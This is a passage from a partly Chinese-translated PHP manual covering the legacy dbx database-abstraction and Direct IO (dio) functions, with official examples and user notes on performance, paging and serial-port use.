dbx_fetch_row -- Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
dbx_query -- Send a query and fetch all results (if any)
dbx_sort -- Sort a result from a dbx_query by a custom sort function

add a note add a note User Contributed Notes
bart at mediawave dot nl
09-Jul-2004 09:45
Simple function for returning paged result sets.

<?php
// use: pagedQuery($link, $sql, $rows_per_page, $current_page)

function pagedQuery($link, $sql, $nrows = 10, $page = 1) {
   $handle = dbx_query($link, $sql, DBX_RESULT_UNBUFFERED);
   $result = new stdClass;
   $result->link = $this->link;
   $result->page = $page;
   $result->data = array();
   $result->info['name'] = array();
   $start = ($page - 1) * $nrows;
   $end = $start + $nrows;
   $result->rows = 0;
   while ($row = dbx_fetch_row($handle)) {
       $result->rows++;
       if (($result->rows > $start) && ($result->rows <= $end)) {
           $result->data[] = $row;
       }
   }
   if ($result->data[0]) {
       $result->cols = count($result->data[0]) / 2;
       $result->info['name'] = array_slice(array_keys($result->data[0]), $result->cols, $result->cols);
       $result->lastPage = ceil($result->rows / $nrows);
   }
   return $result;
}
?>
bart at mediawave dot nl
02-Jul-2004 11:12
Would like to confirm that dbx is at least three times faster than adodb with my application. However, once loaded, adodb has much more features and probably performs better in some situations then dbx.

One of the nice features that adodb has, is the way you can quickly make a dropdown menu from a query. Here's a similar function that works with a dbx result object:

<?php

// $result is the dbx_query result (It expects two fields)
// $name is the name of the dropdown field
// $selected is the option that should be selected
// $firstrow takes a string like "myvalue:myname"
// $attr can be used to add some extra attributes

function dropDown($result, $name, $selected, $firstRow, $attr) {
   $s = '<select name="'.$name.'" '.$attr.'>';
   if (is_string($firstRow))  {
       $row = explode(':', $firstRow);
       $s .= '<option value="'.$row[0].'">'.$row[1].'</option>';
   } else
       $s .= '<option></option>';
   foreach ($result->data as $row) {
       if ($row[0] == $selected)
           $s .= '<option value="'.$row[0].'" selected="selected">'.htmlspecialchars($row[1]).'</option>';
       else
           $s .= '<option value="'.$row[0].'">'.htmlspecialchars($row[1]).'</option>';
   }
   return $s.'</select>';
}

?>
rhcf at linux dot ime dot usp dot br
26-Nov-2003 05:52
BEWARE!!!

dbx_query allocate all retrieved data in an array on memory. If the query result is big (bigger then the memory_limit on php.ini), the result will be empty. So use dbx wih care.
carl [at] carlthompson [dot] net
08-Jun-2003 04:49
The above benchmark is very misleading. Unfortunately, I found out the hard way by porting my app to ADODB. Most PHP apps are going to be very short-lived therefore startup / setup time is a large factor. This benchmark does not measure that. Just include()ing the main ADODB file added 27ms to my app's startup time! Considering my app took only 16ms to run in total using DBX, the idea of switching to ADODB was DOA before running a single query.

In the end, the total time for my app went from 16ms with DBX to 49ms with ADODB. ADODB's powerful features are obviously not worth that kind of overhead.

Carl Thompson
jlim at natsoft dot com dot my
06-Feb-2003 11:35
For some benchmarks of dbx connecting to mysql compared to native mysql api, adodb, and others, see:
http://phplens.com/lens/adodb/
http://php.weblogs.com/2003/02/06#a2336
add a note add a note

后退 | 起点 | 前进
dbmreplace | 上一级 | dbx_close


dbx_close

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

dbx_close -- Close an open connection/database

Description

bool dbx_close ( object link_identifier )

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. dbx_close() example

<?php
$link = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

echo "Connected successfully";
dbx_close($link);
?>

注: Always refer to the module-specific documentation as well.

See also dbx_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbx Functions | 上一级 | dbx_compare


dbx_compare

(PHP 4 >= 4.1.0, PHP 5 <= 5.0.4)

dbx_compare -- Compare two rows for sorting purposes

Description

int dbx_compare ( array row_a, array row_b, string column_key [, int flags] )

dbx_compare() returns 0 if the row_a[$column_key] is equal to row_b[$column_key], and 1 or -1 if the former is greater or is smaller than the latter one, respectively, or vice versa if the flag is set to DBX_CMP_DESC. dbx_compare() is a helper function for dbx_sort() to ease the make and use of the custom sorting function.

The flags can be set to specify comparison direction:

  • DBX_CMP_ASC - ascending order

  • DBX_CMP_DESC - descending order

and the preferred comparison type:

  • DBX_CMP_NATIVE - no type conversion

  • DBX_CMP_TEXT - compare items as strings

  • DBX_CMP_NUMBER - compare items numerically

One of the direction and one of the type constant can be combined with bitwise OR operator (|). The default value for the flags parameter is DBX_CMP_ASC | DBX_CMP_NATIVE.

例子 1. dbx_compare() example

<?php
function user_re_order($a, $b)
{
    $rv = dbx_compare($a, $b, "parentid", DBX_CMP_DESC);
    if (!$rv) {
        $rv = dbx_compare($a, $b, "id", DBX_CMP_NUMBER);
    }
    return $rv;
}

$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "SELECT id, parentid, description FROM table ORDER BY id");
    // data in $result is now ordered by id

dbx_sort($result, "user_re_order");
    // date in $result is now ordered by parentid (descending), then by id

dbx_close($link);
?>

See also dbx_sort().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbx_close | 上一级 | dbx_connect


dbx_connect

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

dbx_connect -- Open a connection/database

Description

object dbx_connect ( mixed module, string host, string database, string username, string password [, int persistent] )

dbx_connect() returns an object on success, FALSE on error. If a connection has been made but the database could not be selected, the connection is closed and FALSE is returned. The persistent parameter can be set to DBX_PERSISTENT, if so, a persistent connection will be created.

The module parameter can be either a string or a constant, though the latter form is preferred. The possible values are given below, but keep in mind that they only work if the module is actually loaded.

  • DBX_MYSQL or "mysql"

  • DBX_ODBC or "odbc"

  • DBX_PGSQL or "pgsql"

  • DBX_MSSQL or "mssql"

  • DBX_FBSQL or "fbsql" (available from PHP 4.1.0)

  • DBX_SYBASECT or "sybase_ct" (available from PHP 4.2.0)

  • DBX_OCI8 or "oci8" (available from PHP 4.3.0)

  • DBX_SQLITE or "sqlite" (PHP 5)

The host, database, username and password parameters are expected, but not always used depending on the connect functions for the abstracted module.

The returned object has three properties:

database

It is the name of the currently selected database.

handle

It is a valid handle for the connected database, and as such it can be used in module-specific functions (if required).

<?php
$link = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password");
mysql_close($link->handle); // dbx_close($link) would be better here
?>

module

It is used internally by dbx only, and is actually the module number mentioned above.

例子 1. dbx_connect() example

<?php
$link = dbx_connect(DBX_ODBC, "", "db", "username", "password", DBX_PERSISTENT)
    or die("Could not connect");

echo "Connected successfully";
dbx_close($link);
?>

注: Always refer to the module-specific documentation as well.

See also dbx_close().

add a note add a note User Contributed Notes
Jon Moss
04-Mar-2005 10:50
I have been using dbx for a product at work and the need to use SQLite as a database popped up. However, I couldn't find any references to using it with dbx other than that you could and since SQLite doesn't seem to do the username password thing I was a little confused as to how to use it in dbx.

With a little research it seems that when using dbx_connect you only need to fill in the module name ('DBX_SQLITE') and the database (the file name for the database!) to get it working. e.g.

$link = dbx_connect(DBX_SQLITE, "", "some.db", "", "");

thought someone might find it useful, especially since it no longer required additional dll's in version 5.x
editor at plummi dot de
26-Jan-2005 09:44
Pear:DB ist a great Idea, but it`s heavy and slower. I`ve tested dbx and Pear:DB with MySQL 4.0.23_Debian-1-log.

With Pear the Script used around 500 KiB of Memory and needed about 0.15s to 0.25s to complete.
With dbx it used around 80 KiB of Memory and needed around 0.09s to 0.11s to complete!

For ME, dbx is absolutly the best abstraktion around! :-)
Nice Work!!

Sascha Plumhoff
BDKR at melnabone at mindless dt com
08-Dec-2002 02:18
The advantage that this has over Pear, Adob, and even Eclipse is speed. As some one put elsewhere,

"Yes, there is an advantage: Speed!
ext/dbx is written in C and has to be compiled into PHP. It's just faster then the PEAR classes."

Cheers,
BDKR
webmaster at wizactive dot com
22-Feb-2002 10:39
ADOdb seems to be the best db-abstraction library in PHP. It's very fast also. You can get it from ADOdb homepage @ http://php.weblogs.com/adodb/
mboeren at php dot net
19-Feb-2002 08:35
The pgsql connecting as nobody if you don't supply a password issue has been solved in CVS.
davidbullock at tech-center dot com
08-Jan-2002 02:01
Currently to connect to the PostgreSQL backend, you have to supply both a username, and a password or the dbx pgsql module attempts to connect as "nobody".
jeremy at deadbeef dot com
24-Jul-2001 04:54
Pear::DB seems like a better idea than this.  See http://pear.php.net
add a note add a note

后退 | 起点 | 前进
dbx_compare | 上一级 | dbx_error


dbx_error

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

dbx_error -- Report the error message of the latest function call in the module (not just in the connection)

Description

string dbx_error ( object link_identifier )

dbx_error() returns a string containing the error message from the last function call of the abstracted module (e.g. mysql module). If there are multiple connections in the same module, just the last error is given. If there are connections on different modules, the latest error is returned for the module specified by the link_identifier parameter.

例子 1. dbx_error() example

<?php
$link   = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "select id from non_existing_table");
if ($result == 0) {
    echo dbx_error($link);
}
dbx_close($link);
?>

注: Always refer to the module-specific documentation as well.

The error message for Microsoft SQL Server is actually the result of the mssql_get_last_message() function.

The error message for Oracle (oci8) is not implemented (yet).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbx_connect | 上一级 | dbx_escape_string


dbx_escape_string

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.4)

dbx_escape_string -- Escape a string so it can safely be used in an sql-statement

Description

string dbx_escape_string ( object link_identifier, string text )

dbx_escape_string() returns the text, escaped where necessary (such as quotes, backslashes etc). It returns NULL on error.

例子 1. dbx_escape_string() example

<?php
$link   = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

$text = dbx_escape_string($link, "It\'s quoted and backslashed (\\).");
$result = dbx_query($link, "insert into tbl (txt) values ('" . $text . "')");
if ($result == 0) {
    echo dbx_error($link);
}
dbx_close($link);
?>

See also dbx_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbx_error | 上一级 | dbx_fetch_row


dbx_fetch_row

(PHP 5 <= 5.0.4)

dbx_fetch_row -- Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

Description

mixed dbx_fetch_row ( object result_identifier )

dbx_fetch_row() returns a row on success, and 0 on failure (e.g. when no more rows are available). When the DBX_RESULT_UNBUFFERED is not set in the query, dbx_fetch_row() will fail as all rows have already been fetched into the results data property.

As a side effect, the rows property of the query-result object is incremented for each successful call to dbx_fetch_row().

例子 1. How to handle the returned value

<?php
$result = dbx_query($link, 'SELECT id, parentid, description FROM table', DBX_RESULT_UNBUFFERED);

echo "<table>\n";
while ($row = dbx_fetch_row($result)) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";
?>

The result_identifier parameter is the result object returned by a call to dbx_query().

The returned object contains the same information as any row would have in the dbx_query result data property, including columns accessible by index or fieldname when the flags for dbx_guery were set that way.

See also dbx_query().

add a note add a note User Contributed Notes
ed dot stafford over on gmail
10-Nov-2004 06:03
Use this function ONLY if you are using:
DBX_RESULT_UNBUFFERED

and make sure the database you're using will allow DBX_RESULT_UNBUFFERED as a flag on the connect line.

I spent 2 days trying to figure out WHY I couldn't use the dbx_fetch_row() function.  Too many languages!
add a note add a note

后退 | 起点 | 前进
dbx_escape_string | 上一级 | dbx_query


dbx_query

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

dbx_query -- Send a query and fetch all results (if any)

Description

mixed dbx_query ( object link_identifier, string sql_statement [, int flags] )

dbx_query() returns an object or 1 on success, and 0 on failure. The result object is returned only if the query given in sql_statement produces a result set (i.e. a SELECT query, even if the result set is empty).

例子 1. How to handle the returned value

<?php
$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, 'SELECT id, parentid, description FROM table');

if (is_object($result) ) {
    // ... do some stuff here, see detailed examples below ...
    // first, print out field names and types
    // then, draw a table filled with the returned field values
} else {
    exit("Query failed");
}

dbx_close($link);
?>

The flags parameter is used to control the amount of information that is returned. It may be any combination of the following constants with the bitwise OR operator (|). The DBX_COLNAMES_* flags override the dbx.colnames_case setting from php.ini.

DBX_RESULT_INDEX

It is always set, that is, the returned object has a data property which is a 2 dimensional array indexed numerically. For example, in the expression data[2][3] 2 stands for the row (or record) number and 3 stands for the column (or field) number. The first row and column are indexed at 0.

If DBX_RESULT_ASSOC is also specified, the returning object contains the information related to DBX_RESULT_INFO too, even if it was not specified.

DBX_RESULT_INFO

It provides info about columns, such as field names and field types.

DBX_RESULT_ASSOC

It effects that the field values can be accessed with the respective column names used as keys to the returned object's data property.

Associated results are actually references to the numerically indexed data, so modifying data[0][0] causes that data[0]['field_name_for_first_column'] is modified as well.

DBX_RESULT_UNBUFFERED (PHP 5)

This flag will not create the data property, and the rows property will initially be 0. Use this flag for large datasets, and use dbx_fetch_row() to retrieve the results row by row.

The dbx_fetch_row() function will return rows that are conformant to the flags set with this query. Incidentally, it will also update the rows each time it is called.

DBX_COLNAMES_UNCHANGED (available from PHP 4.3.0)

The case of the returned column names will not be changed.

DBX_COLNAMES_UPPERCASE (available from PHP 4.3.0)

The case of the returned column names will be changed to uppercase.

DBX_COLNAMES_LOWERCASE (available from PHP 4.3.0)

The case of the returned column names will be changed to lowercase.

Note that DBX_RESULT_INDEX is always used, regardless of the actual value of flags parameter. This means that only the following combinations are effective:

  • DBX_RESULT_INDEX

  • DBX_RESULT_INDEX | DBX_RESULT_INFO

  • DBX_RESULT_INDEX | DBX_RESULT_INFO | DBX_RESULT_ASSOC - this is the default, if flags is not specified.

The returned object has four or five properties depending on flags:

handle

It is a valid handle for the connected database, and as such it can be used in module specific functions (if required).

<?php
$result = dbx_query($link, "SELECT id FROM table");
mysql_field_len($result->handle, 0);
?>

cols and rows

These contain the number of columns (or fields) and rows (or records) respectively.

<?php
$result = dbx_query($link, 'SELECT id FROM table');
echo $result->rows; // number of records
echo $result->cols; // number of fields
?>

info (optional)

It is returned only if either DBX_RESULT_INFO or DBX_RESULT_ASSOC is specified in the flags parameter. It is a 2 dimensional array, that has two named rows (name and type) to retrieve column information.

例子 2. lists each field's name and type

<?php
$result = dbx_query($link, 'SELECT id FROM table',
                     DBX_RESULT_INDEX | DBX_RESULT_INFO);

for ($i = 0; $i < $result->cols; $i++ ) {
    echo $result->info['name'][$i] . "\n";
    echo $result->info['type'][$i] . "\n";
}
?>
data

This property contains the actual resulting data, possibly associated with column names as well depending on flags. If DBX_RESULT_ASSOC is set, it is possible to use $result->data[2]["field_name"].

例子 3. outputs the content of data property into HTML table

<?php
$result = dbx_query($link, 'SELECT id, parentid, description FROM table');

echo "<table>\n";
foreach ($result->data as $row) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";
?>

例子 4. How to handle UNBUFFERED queries

<?php

$result = dbx_query ($link, 'SELECT id, parentid, description FROM table', DBX_RESULT_UNBUFFERED);

echo "<table>\n";
while ($row = dbx_fetch_row($result)) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

注: Always refer to the module-specific documentation as well.

Column names for queries on an Oracle database are returned in lowercase.

See also dbx_escape_string(),
dbx_fetch_row() and
dbx_connect().

add a note add a note User Contributed Notes
BeyondMat
02-Feb-2005 10:47
You can use stored procedures instead of having to specify a text string to execute, e.g.

$results = dbx_query($conn, 'sp_Test');

This executes the stored procedure sp_Test.
add a note add a note

后退 | 起点 | 前进
dbx_fetch_row | 上一级 | dbx_sort


dbx_sort

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

dbx_sort -- Sort a result from a dbx_query by a custom sort function

Description

bool dbx_sort ( object result, string user_compare_function )

如果成功则返回 TRUE，失败则返回 FALSE。

注: It is always better to use ORDER BY SQL clause instead of dbx_sort(), if possible.

例子 1. dbx_sort() example

<?php
function user_re_order($a, $b)
{
    $rv = dbx_compare($a, $b, "parentid", DBX_CMP_DESC);
    if (!$rv) {
        $rv = dbx_compare($a, $b, "id", DBX_CMP_NUMBER);
    }
    return $rv;
}

$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "SELECT id, parentid, description FROM tbl ORDER BY id");
    // data in $result is now ordered by id

dbx_sort($result, "user_re_order");
    // data in $result is now ordered by parentid (descending), then by id

dbx_close($link);
?>

See also dbx_compare().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbx_query | 上一级 | Direct IO Functions


Direct IO Functions

PHP 手册
后退 前进

XXVII. Direct IO Functions

简介

PHP supports the direct io functions as described in the Posix Standard (Section 6) for performing I/O functions at a lower level than the C-Language stream I/O functions (fopen(), fread(),..). The use of the DIO functions should be considered only when direct control of a device is needed. In all other cases, the standard filesystem functions are more than adequate.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

This extension is only available on Windows Platforms as of PHP 5.0.0

需求

要编译本扩展模块不需要外部库文件。

安装

To get these functions to work, you have to configure PHP with --enable-dio.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

c (integer)

F_DUPFD (integer)

F_GETFD (integer)

F_GETFL (integer)

F_GETLK (integer)

F_GETOWN (integer)

F_RDLCK (integer)

F_SETFL (integer)

F_SETLK (integer)

F_SETLKW (integer)

F_SETOWN (integer)

F_UNLCK (integer)

F_WRLCK (integer)

O_APPEND (integer)

O_ASYNC (integer)

O_CREAT (integer)

O_EXCL (integer)

O_NDELAY (integer)

O_NOCTTY (integer)

O_NONBLOCK (integer)

O_RDONLY (integer)

O_RDWR (integer)

O_SYNC (integer)

O_TRUNC (integer)

O_WRONLY (integer)

S_IRGRP (integer)

S_IROTH (integer)

S_IRUSR (integer)

S_IRWXG (integer)

S_IRWXO (integer)

S_IRWXU (integer)

S_IWGRP (integer)

S_IWOTH (integer)

S_IWUSR (integer)

S_IXGRP (integer)

S_IXOTH (integer)

S_IXUSR (integer)

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

One resource type is defined by this extension: a file descriptor returned by dio_open().

目录
dio_close -- Closes the file descriptor given by fd
dio_fcntl -- Performs a c library fcntl on fd
dio_open -- Opens a new filename with specified permissions of flags and creation permissions of mode
dio_read -- Reads bytes from a file descriptor
dio_seek -- Seeks to pos on fd from whence
dio_stat -- Gets stat information about the file descriptor fd
dio_tcsetattr -- Sets terminal attributes and baud rate for a serial port
dio_truncate -- Truncates file descriptor fd to offset bytes
dio_write -- Writes data to fd with optional truncation at length

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbx_sort | 上一级 | dio_close


dio_close

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_close -- Closes the file descriptor given by fd

说明

void dio_close ( resource fd )

The function dio_close() closes the file descriptor fd.

参数

fd

The file descriptor returned by dio_open().

返回值

无返回值。

范例

例子 1. Closing an open file descriptor

<?php
$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_close($fd);
?>

参见

dio_open()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Direct IO Functions | 上一级 | dio_fcntl


dio_fcntl

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_fcntl -- Performs a c library fcntl on fd

说明

mixed dio_fcntl ( resource fd, int cmd [, mixed args] )

The dio_fcntl() function performs the operation specified by cmd on the file descriptor fd. Some commands require additional arguments args to be supplied.

注: 本函数未在 Windows 平台下实现。

参数

fd

The file descriptor returned by dio_open().

cmd

Can be one of the following operations:

  • F_SETLK - Lock is set or cleared. If the lock is held by someone else dio_fcntl() returns -1.

  • F_SETLKW - like F_SETLK, but in case the lock is held by someone else, dio_fcntl() waits until the lock is released.

  • F_GETLK - dio_fcntl() returns an associative array (as described above) if someone else prevents lock. If there is no obstruction key "type" will set to F_UNLCK.

  • F_DUPFD - finds the lowest numbered available file descriptor greater than or equal to args and returns them.

  • F_SETFL - Sets the file descriptors flags to the value specified by args, which can be O_APPEND, O_NONBLOCK or O_ASYNC. To use O_ASYNC you will need to use the PCNTL extension.

args

args is an associative array, when cmd is F_SETLK or F_SETLLW, with the following keys:

  • "start" - offset where lock begins

  • "length" - size of locked area. zero means to end of file

  • "wenth" - Where l_start is relative to: can be SEEK_SET, SEEK_END and SEEK_CUR

  • "type" - type of lock: can be F_RDLCK (read lock), F_WRLCK (write lock) or F_UNLCK (unlock)

返回值

Returns the result of the C call.

范例

例子 1. Setting and clearing a lock

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

if (dio_fcntl($fd, F_SETLK, Array("type"=>F_WRLCK)) == -1) {
   // the file descriptor appears locked
   echo "The lock can not be cleared. It is held by someone else.";
} else {
   echo "Lock succesfully set/cleared";
}

dio_close($fd);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dio_close | 上一级 | dio_open


dio_open

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_open -- Opens a new filename with specified permissions of flags and creation permissions of mode

说明

resource dio_open ( string filename, int flags [, int mode] )

dio_open() opens a file and returns a new file descriptor for it.

参数

filename

The opened file.

flags

The flags parameter can also include any combination of the following flags:

  • O_CREAT - creates the file, if it doesn't already exist.

  • O_EXCL - if both, O_CREAT and O_EXCL are set, dio_open() fails, if the file already exists.

  • O_TRUNC - if the file exists, and its opened for write access, the file will be truncated to zero length.

  • O_APPEND - write operations write data at the end of the file.

  • O_NONBLOCK - sets non blocking mode.

mode

If flags is O_CREAT, mode will set the mode of the file (creation permissions).

  • O_RDONLY - opens the file for read access.

  • O_WRONLY - opens the file for write access.

  • O_RDWR - opens the file for both reading and writing.

返回值

A file descriptor or FALSE on error.

范例

例子 1. Opening a file descriptor

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_close($fd);
?>

参见

dio_close()

add a note add a note User Contributed Notes
j at pureftpd dot org
24-Jan-2005 08:13
Please note that dio_open()/dio_write()/dio_close() is *faster* than fopen()/fwrite()/fclose() for files.

fwrite() has to manage a 8k buffer, while dio_write() just issue a single write(). The end result is less system calls and less memory access.

Also, giving the full size to write() as with dio_write() let filesystems properly use preallocation in order to avoid fragmentation.
alla at cyber dot com dot au
22-Mar-2003 11:16
To specify a combination of flags you OR them together.
This was the only way I could get it to append:

$fd = dio_open($file, O_WRONLY | O_APPEND);
add a note add a note

后退 | 起点 | 前进
dio_fcntl | 上一级 | dio_read


dio_read

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_read -- Reads bytes from a file descriptor

说明

string dio_read ( resource fd [, int len] )

The function dio_read() reads and returns len bytes from file with descriptor fd.

参数

fd

The file descriptor returned by dio_open().

len

The number of bytes to read. If not specified, dio_read() reads 1K sized block.

返回值

The bytes read from fd.

参见

dio_write()

add a note add a note User Contributed Notes
matt at vhub dot com
19-May-2006 10:48
Note that dio_read on Windows (other platforms unknown) will not timeout if there is no data to read. There is no way to specify a timeout or do a non-blocking read on Windows.
add a note add a note

后退 | 起点 | 前进
dio_open | 上一级 | dio_seek


dio_seek

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_seek -- Seeks to pos on fd from whence

说明

int dio_seek ( resource fd, int pos [, int whence] )

The function dio_seek() is used to change the file position of the given file descriptor.

参数

fd

The file descriptor returned by dio_open().

pos

The new position.

whence

Specifies how the position pos should be interpreted:

  • SEEK_SET (default) - specifies that pos is specified from the beginning of the file.

  • SEEK_CUR - Specifies that pos is a count of characters from the current file position. This count may be positive or negative.

  • SEEK_END - Specifies that pos is a count of characters from the end of the file. A negative count specifies a position within the current extent of the file; a positive count specifies a position past the current end. If you set the position past the current end, and actually write data, you will extend the file with zeros up to that position.

返回值

范例

例子 1. Positioning in a file

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_seek($fd, 10, SEEK_SET);
// position is now at 10 characters from the start of the file

dio_seek($fd, -2, SEEK_CUR);
// position is now at 8 characters from the start of the file

dio_seek($fd, -5, SEEK_END);
// position is now at 5 characters from the end of the file

dio_seek($fd, 10, SEEK_END);
// position is now at 10 characters past the end of the file.
// The 10 characters between the end of the file and the current
// position are filled with zeros.

dio_close($fd);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dio_read | 上一级 | dio_stat


dio_stat

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_stat -- Gets stat information about the file descriptor fd

说明

array dio_stat ( resource fd )

dio_stat() returns information about the given file descriptor.

参数

fd

The file descriptor returned by dio_open().

返回值

Returns an associative array with the following keys:

  • "device" - device

  • "inode" - inode

  • "mode" - mode

  • "nlink" - number of hard links

  • "uid" - user id

  • "gid" - group id

  • "device_type" - device type (if inode device)

  • "size" - total size in bytes

  • "blocksize" - blocksize

  • "blocks" - number of blocks allocated

  • "atime" - time of last access

  • "mtime" - time of last modification

  • "ctime" - time of last change

On error dio_stat() returns NULL.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dio_seek | 上一级 | dio_tcsetattr


dio_tcsetattr

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.4)

dio_tcsetattr -- Sets terminal attributes and baud rate for a serial port

说明

bool dio_tcsetattr ( resource fd, array options )

dio_tcsetattr() sets the terminal attributes and baud rate of the open fd.

注: 本函数未在 Windows 平台下实现。

参数

fd

The file descriptor returned by dio_open().

options

The currently available options are:

  • 'baud' - baud rate of the port - can be 38400,19200,9600,4800,2400,1800, 1200,600,300,200,150,134,110,75 or 50, default value is 9600.

  • 'bits' - data bits - can be 8,7,6 or 5. Default value is 8.

  • 'stop' - stop bits - can be 1 or 2. Default value is 1.

  • 'parity' - can be 0,1 or 2. Default value is 0.

返回值

无返回值。

范例

例子 1. Setting the baud rate on a serial port

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_fcntl($fd, F_SETFL, O_SYNC);

dio_tcsetattr($fd, array(
  'baud' => 9600,
  'bits' => 8,
  'stop'  => 1,
  'parity' => 0
));

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
      echo $data;
  }
}

?>

add a note add a note User Contributed Notes
daniel widyanto (kunilkuda at gmail dot com)
01-Jul-2005 09:34
I'm using PHP to interface my AVR microcontroller in /dev/ttyS0. I bet someone else does the same.

Here's some hint :
- dio_tcsetattr -> is set to enable :
           - RTS / CTS hardware control
           - ICANON mode
             (means that dio_read will wait until 0x0A/LF or other control character is entered in /dev/ttyS0 before it returns reading result, when you use dio_write it will also send 0x0A/LF automatically in the end of the message to your device).

For those who dont need RTS/CTS and/or ICANON, you can use linux command : stty.

Here's mine :

<?php
       exec('stty -F /dev/ttyS0 4800 raw');

       $fd=dio_open('/dev/ttyS0',O_RDWR | O_NOCTTY | O_NDELAY);
       dio_fcntl($fd,F_SETFL,0);

       dio_write($fd,"\x41",1);  // write 0x41 or 'A' to /dev/ttyS0

       // Replace result_length with your expected command result length
       for ($i=0;$i < result_length;$i++) {
               $result .=dio_read($fd, 1);
       }
       echo $result;
?>

Refer to :
- Serial Programming Guide for POSIX Operating Systems, http://www.easysw.com/~mike/serial/
- stty man pages
fherrero at noticiasdenavarra dot com
02-Apr-2005 08:30
For Windows the Example 1 looks same this one:

<?php

exec('mode com1: baud=9600 data=8 stop=1 parity=n xon=on');
// execute 'help mode' in command line of Windows for help

$fd = dio_open('com1:', O_RDWR);

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
     echo $data;
  }
}

?>
healer at colorado dot edu
20-Jul-2003 06:37
It was frustrating at first because I was trying to get my Linux box to talk to an external serial device (a PIC18F452 programmable chip) and the example provided here refers to fcntl() and open() parameters that aren't in the PHP documentation.

I finally found out what does what through the man pages:

man open
man fcntl

still haven't gotten it to work, or how to reset the ttySx, but thought it may help someone...
add a note add a note

后退 | 起点 | 前进
dio_stat | 上一级 | dio_truncate


dio_truncate

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_truncate -- Truncates file descriptor fd to offset bytes

说明

bool dio_truncate ( resource fd, int offset )

dio_truncate() truncates a file to at most offset bytes in size.

If the file previously was larger than this size, the extra data is lost. If the file previously was shorter, it is unspecified whether the file is left unchanged or is extended. In the latter case the extended part reads as zero bytes.

注: 本函数未在 Windows 平台下实现。

参数

fd

The file descriptor returned by dio_open().

offset

The offset in bytes.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dio_tcsetattr | 上一级 | dio_write


dio_write

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

dio_write -- Writes data to fd with optional truncation at length

说明

int dio_write ( resource fd, string data [, int len] )

dio_write() writes up to len bytes from data to file fd.

参数

fd

The file descriptor returned by dio_open().

data

The written data.

len

The length of data to write in bytes. If not specified, the function writes all the data to the specified file.

返回值

Returns the number of bytes written to fd.

参见

dio_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dio_truncate | 上一级 | Directory 目录函数


Directory 目录函数

PHP 手册
后退 前进

XXVIII. Directory 目录函数

简介

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

DIRECTORY_SEPARATOR (string)

PATH_SEPARATOR (string)

注: PATH_SEPARATOR 是在 PHP 4.3.0-RC2 中引入。

参见

